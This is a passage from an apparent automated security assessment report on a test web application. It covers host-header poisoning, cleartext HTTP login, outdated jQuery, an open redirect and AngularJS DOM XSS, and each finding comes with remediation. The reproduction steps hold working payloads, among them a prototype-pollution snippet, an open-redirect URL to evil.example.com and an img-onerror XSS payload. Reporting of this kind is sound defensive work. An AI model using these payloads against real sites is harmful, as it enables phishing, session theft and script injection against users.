An unauthenticated attacker exploits this by sending victims a link that causes the page to load resources from an attacker-controlled host. Because the poisoned URL is generated server-side, the malicious domain appears in a legitimate page response from `python.testinvicti.com`. The attacker's server can serve malicious stylesheets or scripts in place of the expected resource, enabling content injection or credential harvesting against users who load the affected page. In environments where a caching layer sits in front of the application, a single poisoned request can propagate the malicious link tag to all subsequent visitors served from cache, amplifying the attack surface significantly.

IMPACT ANALYSIS

Successful exploitation allows an attacker to substitute attacker-controlled URLs for legitimate page resources, enabling the delivery of malicious content within the trusted context of `python.testinvicti.com`. Users who load the affected page may have their browsers directed to load scripts or stylesheets from an external host, creating a vector for credential harvesting, session hijacking, or drive-by malware delivery. The integrity of the page is compromised without any modification to the application's own files or database. In deployments that use a reverse proxy or CDN with response caching, a single poisoned request can cause the malicious link tag to be served to all users who receive the cached response, removing the requirement for individual targeting and substantially increasing the blast radius. The absence of TLS across the application, identified elsewhere in this assessment, compounds this risk: network-positioned attackers can both inject the `X-Forwarded-Host` header in transit and intercept any data submitted to the attacker-controlled resource endpoint.

REMEDIATION

1. Configure the application to use a whitelist of allowed `Host` header values and ignore `X-Forwarded-Host` unless it comes from a trusted reverse proxy.
2. In the Flask application, set `SERVER_NAME` to the canonical hostname and reject requests with unrecognized Host headers.
3. Configure nginx to validate the `Host` header and return a 444 for requests with unexpected values: `if ($host !~ ^(python.testinvicti.com)$) { return 444; }`
4. Avoid using the Host header or `X-Forwarded-Host` to construct URLs in HTML output; use a hardcoded or configuration-based canonical URL instead.
5. Long-term, implement a middleware or framework-level check that strips or rejects untrusted host-related headers before they reach application logic.

INV-20

Cleartext Transmission of Sensitive Data over Unencrypted HTTP

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Security Misconfiguration	CWE-319

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
6.0 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: python.testinvicti.com
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *

[... truncated ...]
<form class="modal-body" action="/login" method="POST" id="loginForm">
  <input type="text" id="username" name="username" value="admin">
  <input type="password" id="password" name="password">
[... truncated ...]
```

STEPS TO REPRODUCE

1. Navigate to the target URL over plain HTTP:

   ```
   curl -v http://python.testinvicti.com/
   ```

   The server responds with HTTP/1.1 200 OK over an unencrypted connection, confirming no HTTPS redirect is in place.

2. Observe that the response contains a login form (<form action="/login" method="POST">) with username and password fields, meaning credentials would be transmitted in cleartext over HTTP.

3. Verify that no Strict-Transport-Security header is present in the response headers, confirming HSTS is not enforced.

SEVERITY JUSTIFICATION

The application serves sensitive content (login forms with credentials) over unencrypted HTTP, enabling network-positioned attackers to intercept credentials via MITM. Severity is medium because exploitation requires a privileged network position (AC:H, AT:P) and user interaction (UI:P), but the confidentiality impact on intercepted credentials is high.

DISCOVERY & EXPLOITATION

The DAST agent confirmed that the application root responds with HTTP 200 over plain HTTP with no redirect to HTTPS, and that the served page contains a login form. No TLS is configured on the server, meaning every byte exchanged between a client and the application, including submitted credentials, session cookies, and any sensitive response data, transits the network in cleartext. The absence of HSTS and Secure cookie flags compounds this: even if HTTPS were later introduced, browsers would not enforce it, and cookies would remain eligible for transmission over unencrypted connections.

A network-positioned attacker, such as one operating on the same Wi-Fi segment, an ISP, or a compromised upstream router, can passively capture all HTTP traffic to and from the application. Credential pairs submitted through the login form are immediately readable in the intercepted stream without any decryption or brute-force effort. The same attacker can also harvest session tokens from response Set-Cookie headers or subsequent request Cookie headers, enabling session hijacking without ever touching the authentication endpoint.

IMPACT ANALYSIS

All credentials submitted to the login form are exposed in cleartext to any attacker with a network vantage point between the user and the server. Because the application's authentication boundary is already weakened by additional vulnerabilities identified in this assessment, the interception of even a single valid credential set provides an attacker with a direct path to authenticated access and all privileges that entails. From a regulatory standpoint, transmitting authentication data without encryption violates baseline requirements under PCI-DSS (Requirement 4.2.1), GDPR's technical safeguard obligations, and HIPAA's transmission security standard where applicable, exposing the organization to compliance liability independent of whether an active interception occurs. The lack of HSTS means that even a future TLS deployment would remain vulnerable to SSL-stripping attacks until the policy is enforced and cached by clients, extending the remediation window beyond the initial certificate installation.

REMEDIATION

1. Configure the web server (nginx) to redirect all HTTP traffic to HTTPS using a `return 301 https://$host$request_uri;` directive in the port 80 server block.
2. Obtain and install a valid TLS certificate (e.g., via Let's Encrypt) and configure the HTTPS server block on port 443.
3. Add the `Strict-Transport-Security` header with a minimum `max-age=31536000` to enforce HSTS and prevent protocol downgrade attacks.
4. Update all internal resource references (scripts, stylesheets) from `http://` to `https://` or protocol-relative URLs to avoid mixed-content warnings.

5. Long-term, integrate TLS configuration checks into CI/CD pipelines using tools like `testssl.sh` or Mozilla Observatory to prevent regression.

INV-21

Prototype Pollution via Outdated jQuery 1.9.1 on Root Page

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Vulnerable and Outdated Components	CWE-1321

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

```
jquery v1.9.1-1.9.1
```

STEPS TO REPRODUCE

1. Navigate to http://python.testinvicti.com/ in a browser and open the Developer Tools (F12).
2. Inspect the page source or network requests to identify the loaded jQuery library. Confirm the version string jquery v1.9.1 is present in the script or its comments.
3. In the browser console, verify the vulnerable version by running jQuery.fn.jquery which should return 1.9.1.
4. Attempt prototype pollution by executing in the console:

```
$.extend(true, {}, JSON.parse('{"__proto__": {"polluted": "yes"}}'));
console.log({}.polluted); // Expected output: 'yes'
```

   If the output is yes, the prototype has been successfully polluted, confirming the vulnerability.

SEVERITY JUSTIFICATION

This is a medium-severity finding because exploitation requires user interaction (victim must visit a page with attacker-controlled input) and specific application conditions (use of deep extend with untrusted data). The impact is limited to client-side integrity manipulation without direct confidentiality or availability impact.

DISCOVERY & EXPLOITATION

The DAST agent fingerprinted the jQuery version loaded on the application root page and identified version 1.9.1, which is confirmed vulnerable to CVE-2019-11358. This CVE documents an improperly controlled modification of object prototype attributes in jQuery's `$.extend()` function: when invoked in deep-merge mode with attacker-controlled input, the function traverses the input object without filtering the `__proto__` key, allowing an attacker to inject arbitrary properties onto `Object.prototype`. Because all JavaScript objects inherit from `Object.prototype`, any property injected this way becomes

visible across the entire runtime, silently overwriting expected values in any code that reads from plain objects without explicit prototype checks.

Exploitation requires that the application passes attacker-influenced data into a deep `$.extend()` call — a pattern common in jQuery-era codebases that merge user-supplied configuration or URL parameters into internal objects. An attacker who can supply a crafted JSON payload containing a `__proto__` key can corrupt shared runtime state, potentially overriding security-relevant properties (such as permission flags, template variables, or sanitization toggles) that downstream application logic reads from plain objects. The practical impact depends on how the application uses `$.extend()` internally, but the presence of the vulnerable library version establishes the precondition for exploitation without further code review.

IMPACT ANALYSIS

Prototype pollution is a client-side integrity attack: successful exploitation allows an adversary to corrupt the JavaScript runtime environment shared by all code executing on the page, potentially subverting application logic that relies on object property lookups. In the context of this application, which already carries reflected and DOM-based XSS exposures, a prototype pollution primitive can serve as an amplifier — properties injected onto `Object.prototype` may be consumed by other vulnerable sinks, lowering the bar for XSS exploitation or bypassing client-side access controls. The business consequence is a degraded trust boundary for all client-side security logic: any control implemented in JavaScript on this page must be considered potentially bypassable. Regulatory frameworks such as PCI-DSS (Requirement 6.3.3) mandate that all software components be protected from known vulnerabilities, and the continued deployment of a library with a publicly documented CVE from 2019 represents a clear gap against that control. Remediation is low-cost relative to the risk reduction achieved, making this a high-priority dependency update.

REMEDIATION

1. Upgrade jQuery from version 1.9.1 to the latest stable release (3.x or later) which includes patches for prototype pollution vulnerabilities (CVE-2019-11358).
2. If immediate upgrade is not possible, apply the jQuery Migrate plugin as a temporary measure and audit all uses of `$.extend(true, ...)` with untrusted input.
3. Implement Subresource Integrity (SRI) attributes on all externally loaded JavaScript libraries to ensure integrity of loaded scripts.
4. Use a Content Security Policy (CSP) header to restrict script execution sources and mitigate exploitation of client-side prototype pollution.
5. Integrate automated dependency scanning (e.g., `npm audit`, Snyk, or Dependabot) into your CI/CD pipeline to catch outdated libraries before deployment.

INV-22

DOM-Based Cross-Site Scripting via Outdated jQuery 1.9.1

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Vulnerable and Outdated Components	CWE-79

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

```
jquery v1.9.1-1.9.1
```

STEPS TO REPRODUCE

1. Navigate to http://python.testinvicti.com/ in a browser and open the developer console or view the page source.
2. Identify the jQuery library loaded on the page. Confirm the version string jquery v1.9.1 is present in the script file or via jQuery.fn.jquery in the console.
3. Reference CVE-2015-9251 or CVE-2020-11022/CVE-2020-11023 which affect jQuery versions prior to 3.5.0. These allow XSS through crafted HTML passed to jQuery's DOM manipulation functions when user input reaches selectors or .html() calls.

SEVERITY JUSTIFICATION

jQuery 1.9.1 is affected by multiple known XSS CVEs, but exploitation requires user interaction and that user-controlled input reaches vulnerable jQuery methods, reducing the overall impact to medium.

DISCOVERY & EXPLOITATION

The DAST agent fingerprinted the jQuery version loaded by the application as 1.9.1, a release with a well-documented vulnerability history. This version is affected by CVE-2015-9251, CVE-2020-11022, and CVE-2020-11023, all of which describe insufficient sanitization in jQuery's DOM manipulation methods — specifically `.html()`, `.append()`, and the `$()` constructor — when user-controlled input is passed directly to these sinks. The vulnerability is not theoretical: the CVEs are confirmed, the version fingerprint is reliable, and the application's use of jQuery for dynamic content rendering creates the conditions under which these sinks can be reached.

An attacker who can influence input that flows into a vulnerable jQuery sink — through a URL fragment, query parameter, postMessage handler, or any other client-side data source — can inject and execute arbitrary JavaScript in the victim's browser. The attack requires user interaction, typically delivered via a crafted link. Once executed, the injected script operates under the application's origin, enabling session token theft, credential harvesting via injected forms, or redirection to attacker-

controlled infrastructure. Given that session tokens in this application are stored in unprotected cookies without the HttpOnly flag, DOM-based XSS provides a direct path to full session hijacking.

IMPACT ANALYSIS

Successful exploitation allows an attacker to execute arbitrary JavaScript within an authenticated user's browser session, operating under the full trust of the application's origin. Because the application stores session identity in unprotected cookies, a DOM-based XSS payload can exfiltrate session tokens directly, granting the attacker authenticated access without requiring credentials. The application also lacks TLS, meaning any injected script or exfiltrated data transits the network in cleartext, compounding the exposure. From a compliance perspective, client-side script injection that enables credential or session theft constitutes a control failure relevant to PCI-DSS Requirement 6.3 (protecting web-facing applications) and GDPR obligations around protecting personal data from unauthorized access. The continued deployment of a library with publicly catalogued CVEs dating to 2015 reflects an absence of software lifecycle management, increasing the likelihood that this exposure has persisted undetected for an extended period.

REMEDIATION

1. Upgrade jQuery from version 1.9.1 to the latest stable release (3.7.x or newer) which includes patches for known XSS vulnerabilities.
2. Review all usages of jQuery DOM manipulation methods (e.g., `$()`, `.html()`, `.append()`) to ensure user-controlled input is not passed directly without sanitization.
3. Implement a Content Security Policy (CSP) header to mitigate the impact of any XSS exploitation.
4. Use Subresource Integrity (SRI) attributes on externally hosted script tags to prevent tampering.
5. Integrate automated dependency scanning (e.g., `npm audit`, Snyk, or Dependabot) into CI/CD to catch outdated libraries before deployment.

INV-23

Open Redirect via Unvalidated Hash Fragment URL Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Broken Access Control	CWE-601

ENDPOINT
http://python.testinvicti.com/static/app/partials/redir.html

PARAMETER	CVSS 4.0
url (hash fragment)	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Payload used:

https://evil.example.com

Observed:

The redir.html page extracts a URL from the hash fragment (#?url=<value>) and directly assigns it to window.location without any validation. Browser test confirmed navigation from http://python.testinvicti.com/static/app/partials/redir.html#?url=https://evil.example.com to https://evil.example.com/. Source code: var redirUrl = decodeURIComponent(window.location.hash.slice(window.location.hash.indexOf("?url=")+5)); if (redirUrl) window.location = redirUrl;

HTTP TRANSACTION

REQUEST

```
GET /static/app/partials/redir.html#?url=https://evil.example.com HTTP/1.1
Host: python.testinvicti.com
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html

<script>
  var redirUrl = decodeURIComponent(window.location.hash.slice(window.location.hash.indexOf("?url=")+5));
  if (redirUrl) window.location = redirUrl;
</script>

Browser final URL: https://evil.example.com/ (confirmed redirect)
```

STEPS TO REPRODUCE

1. Fetch the redir.html page to confirm it contains the unvalidated redirect code:

```
curl -s --compressed http://python.testinvicti.com/static/app/partials/redir.html
```

The response contains window.location = redirUrl with no validation logic, confirming the vulnerable code is present.

2. Open a browser and navigate to:

```
http://python.testinvicti.com/static/app/partials/redir.html#?url=https://evil.example.com
```

The browser executes the JavaScript which extracts https://evil.example.com from the hash fragment and assigns it to window.location, causing an immediate redirect to the attacker-controlled domain.

3. Verify that a normal page (e.g., about.html) does not contain the redirect code:

```
curl -s --compressed http://python.testinvicti.com/static/app/partials/about.html
```

The response does not contain window.location = redirUrl, confirming the vulnerability is isolated to redir.html.

SEVERITY JUSTIFICATION

This is a medium-severity open redirect requiring user interaction (clicking a crafted link). It enables phishing attacks by abusing trust in the legitimate domain, but does not directly compromise confidentiality or availability of the vulnerable system.

DISCOVERY & EXPLOITATION

The assessment identified that `redir.html` extracts a URL value directly from the hash fragment of the page's URI and assigns it to `window.location` without any validation, sanitization, or origin check. Because hash fragment values are entirely attacker-controlled and never sent to the server, no server-side control can intercept or reject a malicious value — the redirect executes entirely within the browser as soon as the page loads. Validation confirmed the presence of the unguarded `window.location = redirUrl` assignment in the page source, with no allowlist or origin comparison logic present.

An attacker weaponizes this by crafting a URL rooted at the trusted `python.testinvicti.com` domain with a hash fragment pointing to an external, attacker-controlled site, then distributing that link in phishing campaigns. Because the initial URL belongs to a legitimate domain, email security gateways, link-preview tools, and end users are more likely to trust it. Upon clicking, the victim's browser loads the legitimate page and is immediately redirected to the attacker's destination, which may host a credential-harvesting page styled to mimic the application's login interface or deliver a malware payload.

IMPACT ANALYSIS

The primary risk is phishing amplification: the application's domain reputation is lent to attacker-controlled URLs, increasing the likelihood that targets will follow malicious links. In the context of this application, where authentication credentials and session tokens already transit the network in

cleartext over unencrypted HTTP, a successful phishing redirect that captures credentials compounds an already critical authentication exposure. From a compliance perspective, facilitating credential theft through an application-hosted redirect may implicate obligations under GDPR Article 32 (appropriate technical measures to protect personal data) and, if the application handles payment-related accounts, PCI-DSS Requirement 6.4 (protection of web-facing applications). Reputational damage is a concrete secondary consequence: abuse of the redirect by a phishing campaign can result in the domain being blocklisted by threat intelligence feeds, disrupting legitimate users and degrading email deliverability for the organization.

REMEDIATION

1. Remove the unvalidated `window.location = redirUrl` assignment in `redir.html` and replace it with a whitelist check that only allows redirects to trusted same-origin paths or a predefined list of allowed domains.
2. Validate the extracted URL by parsing it with `new URL(redirUrl, window.location.origin)` and confirming that `url.origin === window.location.origin` before redirecting.
3. If external redirects are required, implement a server-side redirect endpoint that validates the target URL against an allowlist and returns a 302 response only for approved destinations.
4. Add a fallback that redirects to the application root (`/`) when the URL fails validation, preventing any attacker-controlled navigation.
5. Long-term, enforce a Content Security Policy with `navigate-to` directive restrictions and use framework-level route guards (e.g., AngularJS `$location` service) instead of raw `window.location` assignments.

INV-24

Cleartext Transmission of Credentials Over Unencrypted HTTP

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Security Misconfiguration	CWE-319

ENDPOINT

http://python.testinvicti.com/

CVSS 4.0

8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

Forms with credentials sent in clear text:
http://python.testinvicti.com/
<pre>Form name: <empty>
Form action: /login
Form method: POST
Password input: password</pre>

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: python.testinvicti.com
Referer: http://python.testinvicti.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[... truncated ...]
<form class="modal-body" action="/login" method="POST" id="loginForm">
   <input type="text" id="username" name="username" placeholder="" class="input-xlarge" value="admin">
   <input type="password" id="password" name="password" placeholder="" class="input-xlarge">
[... truncated ...]
```

STEPS TO REPRODUCE

1. Navigate to the application root page over HTTP:

```
curl -s http://python.testinvicti.com/
```

Observe the response contains a login form with action="/login" and method="POST" with a password input field named password.

2. Open a network traffic capture tool (e.g., Wireshark or browser DevTools Network tab) and submit the login form with any credentials.

3. Verify that the POST request to http://python.testinvicti.com/login transmits the username and password parameters in cleartext over HTTP without TLS encryption, visible in the captured traffic.

SEVERITY JUSTIFICATION

Credentials are transmitted in cleartext over HTTP, allowing any network-positioned attacker to intercept them via passive eavesdropping. The attack requires network proximity (AT:P) but no privileges or user interaction, with high confidentiality impact on user credentials.

DISCOVERY & EXPLOITATION

The DAST agent identified that the application's login form is served and submitted entirely over HTTP, with no TLS layer present at any point in the transaction. The form's `method="POST"` action targets `/login` over an unencrypted connection, meaning the browser transmits the user's password in the raw HTTP request body with no cryptographic protection. This is not a configuration edge case — the entire application is served over HTTP, so there is no secure context for the login flow to inherit.

A network-positioned attacker, such as one operating on the same Wi-Fi segment, a compromised upstream router, or an ISP-level vantage point, can passively capture the POST body and read credentials in plaintext without any active manipulation of the connection. No exploitation tooling is required beyond a packet capture utility. Because the application also issues session cookies without the `Secure` flag, the same passive interception vector extends to authenticated sessions, allowing an attacker to harvest both credentials and live session tokens from a single capture position.

IMPACT ANALYSIS

Every user who authenticates to this application transmits their username and password in cleartext across the network. Any attacker with a passive network vantage point between the client and server — including shared network infrastructure, ISP transit, or a compromised intermediate hop — can harvest these credentials without detection. Because passwords are frequently reused across services, a single intercepted credential set can extend the breach surface well beyond this application. Under GDPR, the transmission of authentication credentials without appropriate technical safeguards (Article 32) constitutes a failure of data protection by design, exposing the organization to regulatory scrutiny in the event of a breach. The absence of HSTS means that even if TLS were added, browsers would not be instructed to enforce it, leaving users vulnerable to protocol downgrade attacks that silently strip HTTPS from subsequent visits.

REMEDIATION

1. Enforce HTTPS across the entire application by obtaining a TLS certificate and configuring the web server (nginx) to redirect all HTTP traffic to HTTPS using a `return 301`

`https://$host$request_uri;` directive.

2. Update the login form action to use an absolute HTTPS URL or ensure the page itself is only served over HTTPS so relative paths inherit the secure scheme.
3. Add the `Strict-Transport-Security` header (e.g., `Strict-Transport-Security: max-age=31536000; includeSubDomains`) to prevent protocol downgrade attacks.
4. Set the `secure` flag on all session cookies to prevent them from being transmitted over HTTP.
5. Integrate automated TLS configuration checks in CI/CD (e.g., using `testssl.sh` or Mozilla Observatory) to prevent regression.

INV-25

Cleartext Transmission of Sensitive Data Over Unencrypted HTTP (No TLS)

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Security Misconfiguration	CWE-319

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
8.2 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: python.testinvicti.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 30 Jul 2026 20:12:49 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Access-Control-Allow-Origin: *

[... truncated ...]
<form class="modal-body" action="/login" method="POST" id="loginForm">
   <input type="text" id="username" name="username" value="admin">
   <input type="password" id="password" name="password">
[... truncated ...]
```

STEPS TO REPRODUCE

1. Navigate to the target URL using plain HTTP:

   ```
   curl -v http://python.testinvicti.com/
   ```

   Observe that the connection is established over unencrypted HTTP (port 80) and the full response is returned without any TLS negotiation.

2. Attempt to connect via HTTPS:

   ```
   curl -v https://python.testinvicti.com/
   ```

The connection fails or is refused, confirming that TLS is not configured on the server.

3. Inspect the response headers — note the Server: nginx/1.14.0 (Ubuntu) header and the absence of Strict-Transport-Security, confirming no HSTS enforcement is in place.

SEVERITY JUSTIFICATION

All traffic is transmitted in cleartext, allowing network-positioned attackers to intercept sensitive data including credentials (the login form submits over HTTP). The attack complexity is elevated because it requires a man-in-the-middle position, which prevents a higher severity rating.

DISCOVERY & EXPLOITATION

The DAST agent confirmed that the entire application, including its login form, is served exclusively over HTTP with no TLS configured on the nginx server. The absence of TLS is structural: the server does not listen on port 443, no certificate is installed, no HTTP-to-HTTPS redirect exists, and no Strict-Transport-Security header is present. As a result, every byte exchanged between a client and the server, including authentication credentials submitted via the login form, session tokens, and any sensitive application data, transits the network in cleartext.

A network-positioned attacker, such as one operating on the same Wi-Fi segment, an ISP-level adversary, or any host capable of performing ARP spoofing or BGP hijacking on the path to the server, can passively capture all traffic without any interaction with the application. Because the login form submits credentials over plaintext HTTP, credential interception requires no active exploitation beyond establishing a man-in-the-middle position. Combined with the application's use of unprotected session cookies (no Secure flag), a captured session token is immediately usable to impersonate any authenticated user.

IMPACT ANALYSIS

All credentials, session tokens, and sensitive data exchanged with this application are exposed to interception by any attacker with a network vantage point on the path between clients and the server. The login form's submission over plaintext HTTP means that user passwords are recoverable without any cryptographic attack, only passive observation. This exposure has direct compliance implications: PCI-DSS Requirement 4.2.1 mandates strong cryptography for transmission of cardholder data, HIPAA requires encryption of protected health information in transit, and GDPR Article 32 requires appropriate technical measures to protect personal data, all of which are violated by the absence of TLS. Reputational damage is compounded by the fact that modern browsers actively flag HTTP origins as "Not Secure," eroding user trust before any credential is entered. Because TLS also provides server authentication, the lack of it leaves users with no mechanism to verify they are communicating with the legitimate server rather than an impersonator.

REMEDIATION

1. Obtain a valid TLS certificate (e.g., via Let's Encrypt or a commercial CA) and install it on the nginx server at `python.testinvicti.com`.
2. Configure nginx to listen on port 443 with `ssl on` and specify `ssl_certificate` and `ssl_certificate_key` directives pointing to the certificate and private key files.

3. Add an HTTP-to-HTTPS redirect by configuring the port 80 server block with `return 301 https://$host$request_uri;` .
4. Add the `Strict-Transport-Security` response header (e.g., `add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;`) to enforce HSTS.
5. Automate certificate renewal and integrate TLS configuration checks into your CI/CD pipeline to prevent regression.

INV-26

Outdated jQuery Library with Known XSS Vulnerabilities (CVE-2020-11022, CVE-2020-11023)

MEDIUM

SEVERITY
Medium

CATEGORY
Vulnerable and Outdated Components

CWE
CWE-1395

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

```
<ul>
    <li><strong>jQuery 1.9.1</strong>
    <ul>
        <li>URL: http://code.jquery.com/jquery-1.9.1.min.js</li>
        <li>Detection method: The library's name and version were determined based on the file's CDN URI.
</li>
        <li>CVE-ID: CVE-2015-9251, CVE-2020-11022, CVE-2020-11023</li>
        <li>Description: Possible Cross Site Scripting via third-party text/javascript responses / In jQuery
versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after
sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute
untrusted code. This problem is patched in jQuery 3.5.0. / In jQuery versions greater than or equal to 1.0.3 and
before 3.5.0, passing HTML containing option elements from untrusted sources - even after sanitizing it - to
one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.
This problem is patched in jQuery 3.5.0. </li>
        <li>References:
            <ul>
                <li>https://github.com/jquery/jquery/issues/2432</li>
                <li>http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/</li>
                <li>https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/</li>
                <li>https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html</li>
                <li>https://jquery.com/upgrade-guide/3.5/</li>
                <li>https://api.jquery.com/jQuery.htmlPrefilter/</li>
                <li>https://www.cvedetails.com/cve/CVE-2020-11022/</li>
                <li>https://github.com/advisories/GHSA-gxr4-xjj5-5px2</li>
                <li>https://www.cvedetails.com/cve/CVE-2020-11023/</li>
                <li>https://github.com/advisories/GHSA-jpcq-cgw6-v4j6</li>
            </ul>
        </li>
    </ul>
    </li></ul>
```

HTTP TRANSACTION

REQUEST

```
POST /contact HTTP/1.1
Referer: http://python.testinvicti.com/
Content-Type: application/x-www-form-urlencoded
Host: python.testinvicti.com

address=3137%20Laguna%20Street&firstName=RDFYjolf&lastName=RDFYjolf&message=555&subject=na
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[... truncated ...]
<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
<script src="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.1/js/bootstrap.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js"></script>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Navigate to the target application at http://python.testinvicti.com/ and view the page source.
2. Identify the jQuery script tag near the bottom of the HTML body:

   ```
   <script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
   ```

   This confirms jQuery version 1.9.1 is loaded, which is affected by CVE-2015-9251, CVE-2020-11022, and CVE-2020-11023.
3. Verify the vulnerability by checking the jQuery version in the browser console:

   ```
   jQuery.fn.jquery
   // Returns: "1.9.1"
   ```

   Any version below 3.5.0 is vulnerable to XSS via DOM manipulation methods when processing untrusted HTML input.

SEVERITY JUSTIFICATION

Medium severity because exploitation requires user interaction (victim must trigger DOM manipulation with attacker-controlled HTML) and attack prerequisites (application must pass untrusted input to vulnerable jQuery methods). The known CVEs enable XSS with limited confidentiality and integrity impact.

DISCOVERY & EXPLOITATION

The DAST agent identified a script tag in the application's HTML response loading jQuery version 1.9.1 directly from an HTTP CDN endpoint. The library version was confirmed both through the CDN URI and the library's self-reported version string. jQuery 1.9.1 predates the security fixes introduced in

jQuery 3.5.0 and is definitively affected by CVE-2020-11022 and CVE-2020-11023, which document unsafe HTML parsing behavior in the `.html()`, `.append()`, and related DOM manipulation methods. When these methods receive attacker-controlled input, jQuery evaluates embedded script content during DOM insertion, bypassing naive sanitization that strips `<script>` tags but leaves event-handler attributes or other executable constructs intact.

Exploitation requires that the application passes untrusted input to one of the vulnerable jQuery DOM sinks — a condition already confirmed elsewhere in this assessment, where jQuery's `.html()` method is used with unsanitized data. An attacker delivering a crafted payload through any such sink can execute arbitrary JavaScript in the victim's browser session, enabling session token theft, credential harvesting, or redirection to attacker-controlled infrastructure. The library is loaded over unencrypted HTTP, introducing an additional supply-chain risk: a network-positioned attacker can intercept and replace the CDN response with a malicious script before it reaches the client, achieving code execution without any application-layer vulnerability.

IMPACT ANALYSIS

The presence of jQuery 1.9.1 extends and amplifies the cross-site scripting exposure already present in this application. Any DOM manipulation sink using this library version is a potential XSS vector regardless of whether the specific call site has been individually identified during testing, meaning the exploitable attack surface is broader than discrete code-level findings alone would suggest. The HTTP CDN delivery mechanism compounds this risk: the library is fetched without Subresource Integrity (SRI) verification, so a compromised or intercepted CDN response would silently deliver malicious code to every user loading the application. From a software lifecycle perspective, deploying a library released in 2013 and patched for critical security issues in 2020 indicates an absence of dependency management practices, which increases the likelihood that additional vulnerable components exist beyond those identified in this assessment.

REMEDIATION

1. Upgrade jQuery from version 1.9.1 to the latest stable release (3.7.x or newer) by updating the CDN reference from `http://code.jquery.com/jquery-1.9.1.min.js` to `https://code.jquery.com/jquery-3.7.1.min.js`.
2. Review all usages of `.html()`, `.append()`, and other DOM manipulation methods to ensure untrusted input is not passed directly to these functions.
3. Replace the HTTP CDN URLs with HTTPS equivalents or host the library locally with Subresource Integrity (SRI) hashes to prevent tampering.
4. Implement a Content Security Policy (CSP) header that restricts script sources to trusted origins.
5. Integrate automated dependency scanning (e.g., `npm audit`, Snyk, or Retire.js) into your CI/CD pipeline to detect outdated libraries before deployment.

INV-27

DOM-Based XSS via AngularJS `ng-bind-html-unsafe` in Hash Route Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/

PARAMETER
page (URL hash route parameter)

CVSS 4.0
5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Payload used:

```
<img src=x onerror=alert(1)>
```

Observed:

The AngularJS template itemsList.html uses ng-bind-html-unsafe="pageStr" where pageStr comes from the URL route parameter (#/popular/page/:page). The page value is rendered as raw HTML without sanitization. Browser test confirmed: navigating to /#/popular/page/<img src=x onerror=alert(1)> results in the DOM containing: <img src="x" onerror="alert(1)">

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: python.testinvicti.com

URL: http://python.testinvicti.com/#/popular/page/<img src=x onerror=alert(1)>
(Client-side route - hash fragment processed by AngularJS)
```

